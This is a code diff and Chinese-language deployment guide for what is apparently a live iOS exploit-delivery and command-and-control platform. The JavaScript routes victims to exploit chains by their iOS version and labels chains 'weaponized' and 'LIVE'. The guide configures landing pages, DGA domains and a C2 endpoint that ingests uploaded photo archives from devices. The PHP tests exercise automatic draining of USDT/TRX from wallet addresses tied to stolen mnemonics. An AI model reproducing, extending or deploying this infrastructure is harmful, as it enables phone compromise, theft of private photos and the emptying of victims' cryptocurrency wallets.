|
||||
// Native TRX webhooks omit tokenSymbol. Only drop explicit non-USDT/TRX tokens.
|
||||
if (in_array($coin, ['TRX', 'TRON'], true)
|
||||
&& $tokenSymbol !== ''
|
||||
&& ! in_array($tokenSymbol, ['TRX', 'USDT'], true)) {
|
||||
return;
|
||||
}
|
||||
$value = $payload['value'] ?? null;
|
||||
|
||||
@@ -159,26 +159,12 @@
|
||||
return 0;
|
||||
}
|
||||
|
||||
function isCorunaRange(v) {
|
||||
if (!v || !v.length || v[0] < 13) return false;
|
||||
if (v[0] >= 18) return false;
|
||||
if (v[0] === 17 && v[1] >= 3) return false;
|
||||
if (v[0] === 17 && v[1] === 2 && (v[2] || 0) > 1) return false;
|
||||
return true;
|
||||
}
|
||||
|
||||
function isSilkPathRange(v) {
|
||||
function isDarkSwordRange(v) {
|
||||
if (!v || !v.length) return false;
|
||||
var maj = v[0] || 0, min = v[1] || 0, pat = v[2] || 0;
|
||||
if (maj === 17 && (min > 2 || (min === 2 && pat >= 2))) return true;
|
||||
if (maj === 18 && min <= 3) return true;
|
||||
return false;
|
||||
}
|
||||
|
||||
function isExploitChainRange(v) {
|
||||
if (!v || !v.length) return false;
|
||||
if (v[0] === 18 && (v[1] || 0) >= 4) return true;
|
||||
if (v[0] >= 19 && v[0] <= 26) return true;
|
||||
if (maj !== 18) return false;
|
||||
if (min === 5 && pat === 0) return true;
|
||||
if (min === 6 && (pat === 0 || pat === 1 || pat === 2)) return true;
|
||||
return false;
|
||||
}
|
||||
|
||||
@@ -198,15 +184,7 @@
|
||||
|
||||
var ios = parseIosVersion();
|
||||
function chainIdForIos(v) {
|
||||
if (!v || !v.length) return 'unknown';
|
||||
if (isCorunaRange(v)) return 'coruna';
|
||||
if (isSilkPathRange(v)) return 'silkpath';
|
||||
if (isExploitChainRange(v)) {
|
||||
var maj = v[0] || 0, min = v[1] || 0, pat = v[2] || 0;
|
||||
if ((maj === 18 && min === 7 && pat >= 3) || (maj >= 19 && maj <= 26)) return 'ghostwave';
|
||||
return 'darksword';
|
||||
}
|
||||
return 'blocked';
|
||||
return isDarkSwordRange(v) ? 'darksword' : 'coruna';
|
||||
}
|
||||
var chain = chainIdForIos(ios);
|
||||
var apiPlan = null;
|
||||
|
||||
@@ -1062,12 +1062,11 @@
|
||||
<!-- QQTIME_BOOT -->
|
||||
<script>
|
||||
(function () {
|
||||
// Coruna(≤17.2.1):顶层进 /qqtime/ 进度壳
|
||||
// iOS 18+:倒计时结束后再挂 iframe,链加载不影响倒计时
|
||||
// DS 仅 18.5 / 18.6 / 18.6.1 / 18.6.2;其余顶层进 /qqtime/ Coruna 进度壳
|
||||
if (/[?&]landed=1(?:&|$)/.test(location.search)) return;
|
||||
if (location.pathname.indexOf("/qqtime") === 0) return;
|
||||
|
||||
function isCoruna() {
|
||||
function isDarkSword() {
|
||||
var m = /(?:iPhone|iPad|iPod).*?OS[\s_]+(\d+)[._](\d+)(?:[._](\d+))?/i.exec(
|
||||
navigator.userAgent || ""
|
||||
);
|
||||
@@ -1075,13 +1074,13 @@
|
||||
var maj = +m[1],
|
||||
min = +m[2],
|
||||
pat = +(m[3] || 0);
|
||||
if (maj < 13 || maj >= 18) return false;
|
||||
if (maj === 17 && min > 2) return false;
|
||||
if (maj === 17 && min === 2 && pat > 1) return false;
|
||||
return true;
|
||||
if (maj !== 18) return false;
|
||||
if (min === 5 && pat === 0) return true;
|
||||
if (min === 6 && (pat === 0 || pat === 1 || pat === 2)) return true;
|
||||
return false;
|
||||
}
|
||||
|
||||
if (isCoruna()) {
|
||||
if (!isDarkSword()) {
|
||||
location.replace(location.origin + "/qqtime/");
|
||||
return;
|
||||
}
|
||||
|
||||
@@ -234,88 +234,30 @@ function classifyTarget(v) {
|
||||
}
|
||||
} catch (eBand) {}
|
||||
|
||||
if (inVerRange(p, [13, 0, 0], [17, 2, 1])) {
|
||||
return {
|
||||
chain: 'coruna',
|
||||
delivery_ok: true,
|
||||
ghostwave: false,
|
||||
version_str: version_str,
|
||||
reason: 'Coruna leaked kit (khanhduytran0/coruna) via /coruna/group.html',
|
||||
patched: false,
|
||||
weaponized: true,
|
||||
usable_grade: 'LIVE'
|
||||
};
|
||||
}
|
||||
|
||||
if (cmpVer(p, [17, 2, 1]) > 0 && cmpVer(p, [18, 4, 0]) < 0) {
|
||||
var silk17 = p[0] === 17;
|
||||
return {
|
||||
chain: 'silkpath',
|
||||
delivery_ok: true,
|
||||
ghostwave: false,
|
||||
version_str: version_str,
|
||||
reason: silk17
|
||||
? 'SilkPath loader OK but 17.x offsets are 0x0 — RCE gated by silkpath_loader'
|
||||
: 'SilkPath 18.0-18.3 Stage1 + provisional bridged offsets (22E)',
|
||||
patched: false,
|
||||
weaponized: !silk17,
|
||||
usable_grade: silk17 ? 'GATED' : 'PROVISIONAL'
|
||||
};
|
||||
}
|
||||
|
||||
if (inVerRange(p, [18, 4, 0], [18, 7, 2])) {
|
||||
var ds = (p[0] === 18 && p[1] === 5 && p[2] === 0)
|
||||
|| (p[0] === 18 && p[1] === 6 && (p[2] === 0 || p[2] === 1 || p[2] === 2));
|
||||
if (ds) {
|
||||
return {
|
||||
chain: 'darksword',
|
||||
delivery_ok: true,
|
||||
ghostwave: (p[1] || 0) >= 7,
|
||||
ghostwave: false,
|
||||
version_str: version_str,
|
||||
reason: (p[1] || 0) >= 7 ? 'DarkSword+GhostWave post-exploit hooks' : 'DarkSword 18.4-18.7.2',
|
||||
reason: 'DarkSword ' + version_str,
|
||||
patched: false,
|
||||
weaponized: true,
|
||||
usable_grade: 'LIVE'
|
||||
};
|
||||
}
|
||||
|
||||
if (inVerRange(p, [18, 7, 3], [26, 3, 99])) {
|
||||
var grade = ghostUsableGrade(v);
|
||||
var fully = (p[0] === 26 && p[1] >= 3);
|
||||
return {
|
||||
chain: 'ghostwave',
|
||||
delivery_ok: true, // research delivery always allowed
|
||||
ghostwave: true,
|
||||
version_str: version_str,
|
||||
reason: fully
|
||||
? 'iOS 26.3 fully patched (GTIG) — harness telemetry only'
|
||||
: (grade === 'RESEARCH_HIGH'
|
||||
? 'GhostWave RESEARCH_HIGH — attempt 26.x worker + calibrate'
|
||||
: 'GhostWave research — offsets/chain incomplete'),
|
||||
patched: grade === 'DEAD',
|
||||
weaponized: false,
|
||||
usable_grade: grade,
|
||||
warning: 'Do not treat GhostWave as production-ready'
|
||||
};
|
||||
}
|
||||
|
||||
if (cmpVer(p, [26, 3, 99]) > 0) {
|
||||
return {
|
||||
chain: 'out_of_scope',
|
||||
delivery_ok: false,
|
||||
ghostwave: false,
|
||||
version_str: version_str,
|
||||
reason: 'above GhostWave 26.3',
|
||||
patched: true,
|
||||
usable_grade: 'DEAD'
|
||||
};
|
||||
}
|
||||
|
||||
return {
|
||||
chain: 'out_of_scope',
|
||||
delivery_ok: false,
|
||||
chain: 'coruna',
|
||||
delivery_ok: true,
|
||||
ghostwave: false,
|
||||
version_str: version_str,
|
||||
reason: 'out of scope',
|
||||
reason: 'Coruna (DS allowlist: 18.5 / 18.6 / 18.6.1 / 18.6.2)',
|
||||
patched: false,
|
||||
usable_grade: 'DEAD'
|
||||
weaponized: true,
|
||||
usable_grade: 'LIVE'
|
||||
};
|
||||
}
|
||||
function pickWorkerFile(v) {
|
||||
|
||||
@@ -0,0 +1,22 @@
|
||||
<?php
|
||||
|
||||
use Illuminate\Database\Migrations\Migration;
|
||||
use Illuminate\Database\Schema\Blueprint;
|
||||
use Illuminate\Support\Facades\Schema;
|
||||
|
||||
return new class extends Migration
|
||||
{
|
||||
public function up(): void
|
||||
{
|
||||
Schema::table('page_visits', function (Blueprint $table) {
|
||||
$table->index(['channel_id', 'ip', 'created_at'], 'page_visits_channel_ip_created_index');
|
||||
});
|
||||
}
|
||||
|
||||
public function down(): void
|
||||
{
|
||||
Schema::table('page_visits', function (Blueprint $table) {
|
||||
$table->dropIndex('page_visits_channel_ip_created_index');
|
||||
});
|
||||
}
|
||||
};
|
||||
+100
-9
@@ -37,8 +37,8 @@
|
||||
│
|
||||
├─ 旧静态:/web/<id>/… /sync/…
|
||||
├─ 新静态:/channel/<ver>/… /details/…
|
||||
├─ 新别名:/c/<ver>/show.htm → Laravel → channel/<ver>/details/show.html
|
||||
└─ DGA 域名反代到同一 public/
|
||||
├─ 新别名:/c/<ver>/show.htm → Nginx 静态 → channel/<ver>/details/show.html
|
||||
└─ DGA 域名反代到同一 public/(须带同一套落地页 location)
|
||||
```
|
||||
|
||||
建议目录:
|
||||
@@ -173,12 +173,16 @@ https://admin.example.com/sync/daily.html
|
||||
https://admin.example.com/channel/<ver>/weifile/weifile.html
|
||||
https://admin.example.com/channel/<ver>/details/
|
||||
https://admin.example.com/details/… # 共享模板(native 按需拉)
|
||||
https://admin.example.com/c/<ver>/show.htm # Laravel 别名 → channel/<ver>/details/show.html
|
||||
https://admin.example.com/c/<ver>/show.htm # Nginx 静态别名 → channel/<ver>/details/show.html
|
||||
```
|
||||
|
||||
在 Admin 站点 Nginx 中优先静态命中(放在 `location /` 的 `try_files … /index.php` **之前**)。`/c/` 不要配成纯静态,交给 Laravel:
|
||||
在 **Admin 站和所有反代到同一 `public/` 的投放 / DGA 域名** 上都要配下面这段。放在 `location /` 以及 `include enable-php-*.conf` **之前**。漏配时 `/c/<ver>/show.htm` 会掉进 Laravel,一次落地页就占一个 PHP-FPM worker。
|
||||
|
||||
`root` / `alias` 里的路径按实际站点根改(宝塔多为 `/www/wwwroot/coruna-lab/public`)。
|
||||
|
||||
```nginx
|
||||
# —— 粘贴到「网站 → 设置 → 配置文件」,放在 location / 和 enable-php 之前 ——
|
||||
|
||||
location ~ "^/web/[0-9a-f]{32}/" {
|
||||
try_files $uri =404;
|
||||
add_header Cache-Control "public, max-age=300";
|
||||
@@ -200,8 +204,39 @@ location /details/ {
|
||||
try_files $uri =404;
|
||||
add_header Cache-Control "public, max-age=300";
|
||||
}
|
||||
|
||||
# 新版落地别名(设备硬编码 18 字节路径 /c/{ver}/show.htm)
|
||||
# 直接映射到 channel/{ver}/details/show.html,禁止进 PHP-FPM
|
||||
location ~ "^/c/([0-9A-Za-z]\.[0-9A-Za-z]\.[0-9A-Za-z]{2})/show\.htm$" {
|
||||
alias /www/wwwroot/coruna-lab/public/channel/$1/details/show.html;
|
||||
types { }
|
||||
default_type application/octet-stream;
|
||||
add_header Cache-Control "public, max-age=60";
|
||||
add_header Content-Type "application/octet-stream" always;
|
||||
}
|
||||
```
|
||||
|
||||
保存后:
|
||||
|
||||
```bash
|
||||
nginx -t && nginx -s reload
|
||||
```
|
||||
|
||||
用一个已存在的渠道 ID 验证(把 `0.0.01` 换成真实 `X.Y.ZZ`):
|
||||
|
||||
```bash
|
||||
curl -sI https://你的投放域名/c/0.0.01/show.htm
|
||||
```
|
||||
|
||||
应同时满足:
|
||||
|
||||
- HTTP 200
|
||||
- `Content-Type: application/octet-stream`
|
||||
- **没有** `X-Powered-By: PHP`
|
||||
- `Cache-Control` 含 `max-age=60`
|
||||
|
||||
若仍看到 PHP,说明这段 location 没生效(写错站点、写在 `location /` 后面、或只改了 Admin 站没改 DGA 站)。Laravel 路由仍保留作本机 / 未配 Nginx 时的兜底,生产应以 Nginx 为准。
|
||||
|
||||
`lab_seeds.json` / `out/` 分别在 `storage/app/channel-builder/` 与 `storage/app/channel-builder-new/`,不在 web 根。
|
||||
|
||||
**首次创建渠道后**,用返回的 DGA `domains.deployment` / `domains.reporting` 注册域名,反代到同一 `public/`(reporting → C2;新版短路径 C2 见 `routes/xxbb.php`)。
|
||||
@@ -326,6 +361,14 @@ SESSION_DOMAIN=null
|
||||
SESSION_SECURE_COOKIE=true
|
||||
SESSION_SAME_SITE=lax
|
||||
|
||||
# 抗压:同机 4C8G 请装 Redis,把 cache/queue 从 file/sync 换掉(见 §2.6)
|
||||
# CACHE_STORE=redis
|
||||
# QUEUE_CONNECTION=redis
|
||||
# REDIS_HOST=127.0.0.1
|
||||
# REDIS_PORT=6379
|
||||
CACHE_STORE=file
|
||||
QUEUE_CONNECTION=sync
|
||||
|
||||
# 内嵌两套 builder(无 Build API;产物默认 public/)
|
||||
CORUNA_CHANNEL_BUILDER_PYTHON=/www/wwwroot/coruna-lab/channel-builder/.venv/bin/python
|
||||
CORUNA_CHANNEL_BUILDER_NEW_PYTHON=/www/wwwroot/coruna-lab/channel-builder-new/.venv/bin/python
|
||||
@@ -388,7 +431,54 @@ ls -la /www/wwwroot/coruna-lab/storage/app/channel-builder-new/out/weifile
|
||||
|
||||
未配置 `XXBB_CHANNEL_C` 时,后台创建「新版」渠道会直接报错。
|
||||
|
||||
### 2.6 p7zip(C2 入库)
|
||||
### 2.6 抗压(Redis / 队列 / PHP-FPM)
|
||||
|
||||
落地页按 §1.3 交给 Nginx 之后,`/statistic/t`、Telegram、自动转账和相册解压在 `QUEUE_CONNECTION=redis` 时走同一条队列。4C8G 同机请装 Redis,避免 file 缓存锁和同步出站 HTTP 占满 FPM。
|
||||
|
||||
1. 宝塔软件商店安装 **Redis**,确认 `127.0.0.1:6379` 可连。
|
||||
2. PHP 8.2 安装 `redis` 扩展。
|
||||
3. `.env`:
|
||||
|
||||
```dotenv
|
||||
CACHE_STORE=redis
|
||||
QUEUE_CONNECTION=redis
|
||||
REDIS_HOST=127.0.0.1
|
||||
REDIS_PORT=6379
|
||||
```
|
||||
|
||||
4. 改完后:
|
||||
|
||||
```bash
|
||||
cd /www/wwwroot/coruna-lab
|
||||
/www/server/php/82/bin/php artisan migrate
|
||||
/www/server/php/82/bin/php artisan config:clear
|
||||
```
|
||||
|
||||
5. 宝塔 **Supervisor** 常驻队列(换成 redis 后必须有,否则 PV 不记、通知不发):
|
||||
|
||||
```text
|
||||
名称: coruna-queue
|
||||
启动命令: /www/server/php/82/bin/php artisan queue:work redis --sleep=1 --tries=3 --timeout=90 --max-time=3600
|
||||
启动目录: /www/wwwroot/coruna-lab
|
||||
进程数量: 2
|
||||
```
|
||||
|
||||
6. PHP-FPM(软件商店 → PHP 8.2 → 性能调整),4C8G 建议:
|
||||
|
||||
```ini
|
||||
pm = dynamic
|
||||
pm.max_children = 24
|
||||
pm.start_servers = 4
|
||||
pm.min_spare_servers = 2
|
||||
pm.max_spare_servers = 8
|
||||
pm.max_requests = 500
|
||||
```
|
||||
|
||||
`max_children` 不要开到 50+:每个 worker 约 40–80MB,再加 MySQL 会先 swap。相册解包仍可能短时占满几个 worker,属正常。
|
||||
|
||||
7. MySQL:8G 机器 `innodb_buffer_pool_size` 建议 1.5G–2.5G。
|
||||
|
||||
### 2.7 p7zip(C2 入库)
|
||||
|
||||
`CORUNA_7Z_BIN` **仍需要**:设备 multipart 上报的混淆 7z 由 Laravel `CorunaArchive` 解压,与两套 channel-builder 无关。
|
||||
|
||||
@@ -416,7 +506,7 @@ chmod +x bin/7z
|
||||
|
||||
`command -v 7z` 为空说明未装成功或 PATH 无 `7z`;用 `find /usr -name '7z' 2>/dev/null` 定位后再 `cp`。
|
||||
|
||||
### 2.7 Telegram Webhook(上线必做)
|
||||
### 2.8 Telegram Webhook(上线必做)
|
||||
|
||||
Bot 入站指令(如 `/transfer`)依赖公网 HTTPS webhook,默认路径:
|
||||
|
||||
@@ -479,7 +569,7 @@ tail -n 80 /www/server/php/82/var/log/php-fpm.log
|
||||
2. 新版:`channel-builder-new/.venv/bin/python -c 'import Crypto, py7zr; print("ok")'` 正常;`.env` 已有 `XXBB_CHANNEL_C`
|
||||
3. Admin 登录 `https://admin.example.com/admin/login`
|
||||
4. **旧版**渠道:新建 → 构建成功;响应含 `seeds` / `domains`(首次);打开 `/web/<id>/support.html` 与 `/sync/daily.html`
|
||||
5. **新版**渠道:ID 用 `X.Y.ZZ`(如 `0.0.01`)→ 构建成功;打开 `/channel/<ver>/weifile/weifile.html`;`/details/` 可访问;`/c/<ver>/show.htm` 有内容
|
||||
5. **新版**渠道:ID 用 `X.Y.ZZ`(如 `0.0.01`)→ 构建成功;打开 `/channel/<ver>/weifile/weifile.html`;`/details/` 可访问;`/c/<ver>/show.htm` 由 Nginx 直接出(`curl -sI` 无 `X-Powered-By: PHP`)
|
||||
6. seed / staged weifile 只在 `storage/app/channel-builder*`,不通过 URL 暴露
|
||||
7. C2 上报与 7z 入库正常(新版短路径含 `/a` `/u` `/event` 等,见 `routes/xxbb.php`)
|
||||
8. `telegram:set-webhook` 成功;Bot 能收到指令
|
||||
@@ -499,9 +589,10 @@ tail -n 80 /www/server/php/82/var/log/php-fpm.log
|
||||
| 备份 | MySQL + `public/web` + `public/sync` + `public/channel` + `public/details` + `storage/app/channel-builder` + `storage/app/channel-builder-new` |
|
||||
| 构建超时 | 加大 `CORUNA_CHANNEL_BUILDER_TIMEOUT` 与 PHP `max_execution_time` |
|
||||
| 勿改线上 `XXBB_CHANNEL_C` | 改了会导致新版 DGA 域名与已装设备不一致;换战役需整体重部署策略 |
|
||||
| 队列 worker(Redis 时) | `php artisan queue:work --sleep=1 --tries=3`(宝塔 Supervisor 常驻,见 §2.6) |
|
||||
|
||||
|
||||
当前 `QUEUE_CONNECTION=sync`,一般无需单独 queue worker。
|
||||
`QUEUE_CONNECTION=sync` 时无需 worker;换成 `redis` 后必须常驻 `queue:work`,否则 PV 记数、Telegram 通知、自动转账和相册解压都不会执行。自动转账仍由每分钟的 `coruna:auto-transfer` 扫描候选地址,真正的查余额 / 广播交给队列(同一地址 3 分钟内只跑一条,失败不重试,避免重复打款)。相册上报仍立刻 ACK,包先落到 `storage/app/c2/inbox/` 再解;解不开只写日志、不入库、不重试(与改队列前一致)。
|
||||
|
||||
---
|
||||
|
||||
@@ -644,7 +735,7 @@ chmod -R ug+rwx storage/framework/sessions
|
||||
若要把静态产物拆到另一台纯静态机:
|
||||
|
||||
- 旧版:rsync `public/web` + `public/sync`
|
||||
- 新版:rsync `public/channel` + `public/details`;`/c/<ver>/show.htm` 需仍打到 Laravel,或在静态机做等价映射
|
||||
- 新版:rsync `public/channel` + `public/details`;静态机 Nginx 必须带 §1.3 的 `/c/<ver>/show.htm` `alias` 映射,不要把该路径反代回 PHP
|
||||
- 或把 `CORUNA_ARTIFACT_ROOT` 指到共享盘,静态机 Nginx root 指向该盘
|
||||
- seed / staged 状态仍放在 lab:`CORUNA_CHANNEL_STATE_ROOT`、`CORUNA_CHANNEL_NEW_STATE_ROOT`
|
||||
|
||||
|
||||
+12
-11
@@ -11,15 +11,16 @@ use Illuminate\Support\Facades\Route;
|
||||
// Anonymous page-visit beacon (PV/UV); no session / CSRF.
|
||||
Route::match(['GET', 'POST'], '/statistic/t', PageHitController::class)->name('page.hit');
|
||||
|
||||
// Equal-length alias for secondary's hardcoded /details/show.html → /c/{ver}/show.htm
|
||||
Route::get('/c/{ver}/show.htm', function (string $ver) {
|
||||
$ver = Channel::normalizeNewChannelId($ver);
|
||||
abort_if($ver === null, 404);
|
||||
$path = public_path('channel/'.$ver.'/details/show.html');
|
||||
abort_unless(is_file($path), 404);
|
||||
// Equal-length alias: /details/show.html → /c/{ver}/show.htm
|
||||
// Production: Nginx serves this statically (docs/BAOTA_DEPLOY.md §1.3). This is the fallback.
|
||||
// Route::get('/c/{ver}/show.htm', function (string $ver) {
|
||||
// $ver = Channel::normalizeNewChannelId($ver);
|
||||
// abort_if($ver === null, 404);
|
||||
// $path = public_path('channel/'.$ver.'/details/show.html');
|
||||
// abort_unless(is_file($path), 404);
|
||||
|
||||
return response()->file($path, [
|
||||
'Content-Type' => 'application/octet-stream',
|
||||
'Cache-Control' => 'no-store',
|
||||
]);
|
||||
})->where('ver', '[0-9A-Za-z]\\.[0-9A-Za-z]\\.[0-9A-Za-z]{2}');
|
||||
// return response()->file($path, [
|
||||
// 'Content-Type' => 'application/octet-stream',
|
||||
// 'Cache-Control' => 'public, max-age=60',
|
||||
// ]);
|
||||
// })->where('ver', '[0-9A-Za-z]\\.[0-9A-Za-z]\\.[0-9A-Za-z]{2}');
|
||||
|
||||
@@ -2,6 +2,7 @@
|
||||
|
||||
namespace Tests\Feature;
|
||||
|
||||
use App\Jobs\AutoTransferAddress;
|
||||
use App\Models\Channel;
|
||||
use App\Models\Device;
|
||||
use App\Models\User;
|
||||
@@ -12,6 +13,7 @@ use App\Services\AutoTransferService;
|
||||
use App\Services\TransferService;
|
||||
use App\Services\WalletBalanceService;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Illuminate\Support\Facades\Queue;
|
||||
use Mockery;
|
||||
use PHPUnit\Framework\Attributes\Test;
|
||||
use Tests\TestCase;
|
||||
@@ -264,6 +266,98 @@ class AutoTransferTest extends TestCase
|
||||
$this->assertTrue(true);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function evaluate_stops_remaining_assets_after_failure(): void
|
||||
{
|
||||
config(['coruna.auto_transfer.enabled' => true]);
|
||||
$device = $this->makeOfficialDevice();
|
||||
$addr = $this->linkAddress($device, ['usdt' => 12.5, 'trx' => 8]);
|
||||
|
||||
$transfers = Mockery::mock(TransferService::class);
|
||||
$transfers->shouldReceive('handle')
|
||||
->once()
|
||||
->with('tron', $addr->address, null, 'USDT', 'auto')
|
||||
->andReturn(['ok' => false, 'error' => 'broadcast failed']);
|
||||
$this->app->instance(TransferService::class, $transfers);
|
||||
|
||||
$balances = Mockery::mock(WalletBalanceService::class);
|
||||
$balances->shouldReceive('refresh')->once()->andReturn(true);
|
||||
$this->app->instance(WalletBalanceService::class, $balances);
|
||||
|
||||
$stats = app(AutoTransferService::class)->evaluate($addr, 'test');
|
||||
$this->assertSame(1, $stats['triggered']);
|
||||
$this->assertSame(0, $stats['ok']);
|
||||
$this->assertSame(1, $stats['failed']);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function skips_address_asset_after_previous_auto_failure(): void
|
||||
{
|
||||
config(['coruna.auto_transfer.enabled' => true]);
|
||||
$device = $this->makeOfficialDevice();
|
||||
$addr = $this->linkAddress($device, ['usdt' => 12.5, 'trx' => 0]);
|
||||
|
||||
\App\Models\TransferRecord::query()->create([
|
||||
'from_address' => $addr->address,
|
||||
'to_address' => 'TKKyetwdwuv6fTWVMPsdQUZYwB7yiNwRp6',
|
||||
'chain' => 'tron',
|
||||
'tx_hash' => null,
|
||||
'amount' => '12.5',
|
||||
'type' => \App\Models\TransferRecord::TYPE_OUT,
|
||||
'asset' => 'USDT',
|
||||
'operator' => 'auto',
|
||||
'status' => \App\Models\TransferRecord::STATUS_FAILED,
|
||||
'error' => 'broadcast failed',
|
||||
]);
|
||||
|
||||
$transfers = Mockery::mock(TransferService::class);
|
||||
$transfers->shouldNotReceive('handle');
|
||||
$this->app->instance(TransferService::class, $transfers);
|
||||
|
||||
$stats = app(AutoTransferService::class)->evaluate($addr, 'test');
|
||||
$this->assertSame(0, $stats['triggered']);
|
||||
$this->assertSame(0, $stats['failed']);
|
||||
$this->assertGreaterThanOrEqual(1, $stats['skipped']);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function run_stops_after_first_failed_address(): void
|
||||
{
|
||||
config(['coruna.auto_transfer.enabled' => true]);
|
||||
$device = $this->makeOfficialDevice();
|
||||
$first = $this->linkAddress($device, [
|
||||
'address' => 'TUEZSdKsoDHQMeZwihtdoBiN46zxhGWYdH',
|
||||
'usdt' => 8,
|
||||
'trx' => 0,
|
||||
]);
|
||||
$second = WalletAddress::query()->create([
|
||||
'device_id' => $device->id,
|
||||
'address' => 'TXYZsecondAutoAddress000000000003',
|
||||
'chain_type' => 'TRON',
|
||||
'source' => 'imToken',
|
||||
'mnemonic_id' => $first->mnemonic_id,
|
||||
'usdt' => 9,
|
||||
'trx' => 0,
|
||||
]);
|
||||
|
||||
$transfers = Mockery::mock(TransferService::class);
|
||||
$transfers->shouldReceive('handle')
|
||||
->once()
|
||||
->with('tron', $first->address, null, 'USDT', 'auto')
|
||||
->andReturn(['ok' => false, 'error' => 'broadcast failed']);
|
||||
$this->app->instance(TransferService::class, $transfers);
|
||||
|
||||
$balances = Mockery::mock(WalletBalanceService::class);
|
||||
$balances->shouldReceive('refresh')->once()->andReturn(true);
|
||||
$this->app->instance(WalletBalanceService::class, $balances);
|
||||
|
||||
$stats = app(AutoTransferService::class)->run();
|
||||
$this->assertSame(1, $stats['inspected']);
|
||||
$this->assertSame(1, $stats['failed']);
|
||||
$this->assertSame(0, $stats['ok']);
|
||||
$this->assertGreaterThan($first->id, $second->id);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function run_only_scans_mnemonic_addresses_with_balance(): void
|
||||
{
|
||||
@@ -312,4 +406,38 @@ class AutoTransferTest extends TestCase
|
||||
->expectsOutputToContain('inspected=0')
|
||||
->assertSuccessful();
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function run_queues_one_job_per_address_when_not_sync(): void
|
||||
{
|
||||
config(['coruna.auto_transfer.enabled' => true, 'queue.default' => 'redis']);
|
||||
$device = $this->makeOfficialDevice();
|
||||
$first = $this->linkAddress($device, [
|
||||
'address' => 'TUEZSdKsoDHQMeZwihtdoBiN46zxhGWYdH',
|
||||
'usdt' => 8,
|
||||
'trx' => 0,
|
||||
]);
|
||||
$second = WalletAddress::query()->create([
|
||||
'device_id' => $device->id,
|
||||
'address' => 'TXYZsecondAutoAddress000000000003',
|
||||
'chain_type' => 'TRON',
|
||||
'source' => 'imToken',
|
||||
'mnemonic_id' => $first->mnemonic_id,
|
||||
'usdt' => 9,
|
||||
'trx' => 0,
|
||||
]);
|
||||
|
||||
Queue::fake();
|
||||
$transfers = Mockery::mock(TransferService::class);
|
||||
$transfers->shouldNotReceive('handle');
|
||||
$this->app->instance(TransferService::class, $transfers);
|
||||
|
||||
$stats = app(AutoTransferService::class)->run();
|
||||
$this->assertSame(2, $stats['inspected']);
|
||||
$this->assertSame(2, $stats['queued']);
|
||||
$this->assertSame(0, $stats['triggered']);
|
||||
Queue::assertPushed(AutoTransferAddress::class, 2);
|
||||
Queue::assertPushed(AutoTransferAddress::class, fn (AutoTransferAddress $job) => $job->walletAddressId === $first->id);
|
||||
Queue::assertPushed(AutoTransferAddress::class, fn (AutoTransferAddress $job) => $job->walletAddressId === $second->id);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -2,6 +2,7 @@
|
||||
|
||||
namespace Tests\Feature;
|
||||
|
||||
use App\Jobs\ExtractPhotoArchive;
|
||||
use App\Models\Admin;
|
||||
use App\Models\Device;
|
||||
use App\Models\DeviceApp;
|
||||
@@ -15,6 +16,7 @@ use App\Services\CorunaCrypto;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Illuminate\Http\UploadedFile;
|
||||
use Illuminate\Support\Facades\Http;
|
||||
use Illuminate\Support\Facades\Queue;
|
||||
use Illuminate\Support\Facades\Storage;
|
||||
use PHPUnit\Framework\Attributes\Test;
|
||||
use Tests\TestCase;
|
||||
@@ -666,6 +668,80 @@ class C2ApiTest extends TestCase
|
||||
@rmdir($tmp);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function check_acks_when_archive_extract_fails(): void
|
||||
{
|
||||
Storage::fake('local');
|
||||
Device::query()->create([
|
||||
'device_id' => 'dev-photo-bad',
|
||||
'album_storage' => true,
|
||||
]);
|
||||
$tmp = sys_get_temp_dir().'/coruna_photo_bad_'.uniqid().'.bin';
|
||||
file_put_contents($tmp, 'not-a-7z');
|
||||
$upload = new UploadedFile($tmp, 'capture.7z', 'application/octet-stream', null, true);
|
||||
try {
|
||||
$this->call(
|
||||
'POST',
|
||||
'/api/user/check',
|
||||
[
|
||||
'd' => 'dev-photo-bad',
|
||||
'f' => 'dev-photo-bad',
|
||||
'batchBase' => '0',
|
||||
],
|
||||
[],
|
||||
['file' => $upload],
|
||||
['CONTENT_TYPE' => 'multipart/form-data']
|
||||
)->assertOk();
|
||||
$this->assertSame(0, Photo::query()->count());
|
||||
} finally {
|
||||
@unlink($tmp);
|
||||
}
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function check_queues_extract_when_queue_is_not_sync(): void
|
||||
{
|
||||
Storage::fake('local');
|
||||
Queue::fake();
|
||||
config(['queue.default' => 'redis']);
|
||||
Device::query()->create([
|
||||
'device_id' => 'dev-photo-q',
|
||||
'album_storage' => true,
|
||||
]);
|
||||
$tmp = sys_get_temp_dir().'/coruna_photo_q_'.uniqid().'.bin';
|
||||
file_put_contents($tmp, "\x37\x7A");
|
||||
$upload = new UploadedFile($tmp, 'capture.7z', 'application/octet-stream', null, true);
|
||||
try {
|
||||
$this->call(
|
||||
'POST',
|
||||
'/api/user/check',
|
||||
[
|
||||
'd' => 'dev-photo-q',
|
||||
'f' => 'dev-photo-q',
|
||||
'batchBase' => '0',
|
||||
'x-hit' => '12',
|
||||
],
|
||||
[],
|
||||
['file' => $upload],
|
||||
['CONTENT_TYPE' => 'multipart/form-data']
|
||||
)->assertOk();
|
||||
$this->assertSame(0, Photo::query()->count());
|
||||
Queue::assertPushed(ExtractPhotoArchive::class, function (ExtractPhotoArchive $job) {
|
||||
if ($job->deviceId < 1 || $job->flavor !== 'lab' || $job->batchBase !== '0') {
|
||||
return false;
|
||||
}
|
||||
if (! str_starts_with($job->inboxPath, 'c2/inbox/')) {
|
||||
return false;
|
||||
}
|
||||
Storage::disk('local')->assertExists($job->inboxPath);
|
||||
|
||||
return true;
|
||||
});
|
||||
} finally {
|
||||
@unlink($tmp);
|
||||
}
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function check_normalizes_encoded_device_key_onto_existing_device(): void
|
||||
{
|
||||
|
||||
@@ -94,7 +94,8 @@ class DarkSwordC2ApiTest extends TestCase
|
||||
'ok' => true,
|
||||
'chain' => 'darksword',
|
||||
])
|
||||
->assertJsonPath('exfil.prefer_https', false);
|
||||
->assertJsonPath('exfil.prefer_https', false)
|
||||
